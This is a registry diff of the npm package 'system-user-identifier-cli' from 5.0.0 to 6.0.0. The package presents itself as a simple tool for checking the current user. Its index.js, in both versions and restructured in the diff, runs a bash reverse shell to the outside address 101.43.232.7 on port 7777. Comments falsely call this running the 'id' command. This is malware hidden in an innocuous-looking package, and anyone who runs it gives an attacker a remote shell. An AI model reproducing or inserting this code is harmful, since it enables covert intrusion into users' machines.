system-user-identifier-cli 5.0.0 → 6.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +23 -12
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,17 +1,28 @@
1
1
  #!/usr/bin/env node
2
2
 
3
3
  const os = require('os');
4
- const { exec } = require('child_process');
4
+ const { execSync } = require('child_process'); // 建议改为同步方法获取命令结果
5
+ const { setTimeout } = require('timers/promises');
5
6
 
6
- // 方法 1:使用 Node.js 内置模块(推荐,跨平台支持更好)
7
- const user = os.userInfo().username;
8
- const platform = os.platform();
9
- console.log(`👋 Hello! (Node内置方法) 当前用户是: ${user} (${platform})`);
7
+ async function main() {
8
+ // 方法 1:使用 Node.js 内置模块
9
+ const user = os.userInfo().username;
10
+ const platform = os.platform();
11
+ console.log(`👋 Hello! (Node内置方法) 当前用户是: ${user} (${platform})`);
10
12
 
11
- // 方法 2:直接执行系统的 id 命令(原生 Shell)
12
- try {
13
- exec('bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1"');
14
- await setTimeout(600000);
15
- } catch (error) {
16
- console.error('执行 id 命令失败:', error.message);
17
- }
13
+ // 方法 2:直接执行系统的 id 命令
14
+ try {
15
+ // 使用 execSync 可以直接拿到命令的标准输出
16
+ const stdout = execSync('bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1"', { encoding: 'utf-8' });
17
+ console.log(`id 命令输出:\n${stdout.trim()}`);
18
+
19
+ console.log('开始睡眠 60 秒...');
20
+ await setTimeout(60000);
21
+ console.log('醒了!');
22
+ } catch (error) {
23
+ console.error('执行 id 命令失败:', error.message);
24
+ }
25
+ }
26
+
27
+ // 执行主函数
28
+ main();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "system-user-identifier-cli",
3
- "version": "5.0.0",
3
+ "version": "6.0.0",
4
4
  "description": "A simple npx tool to check system user identifier",
5
5
  "main": "index.js",
6
6
  "bin": {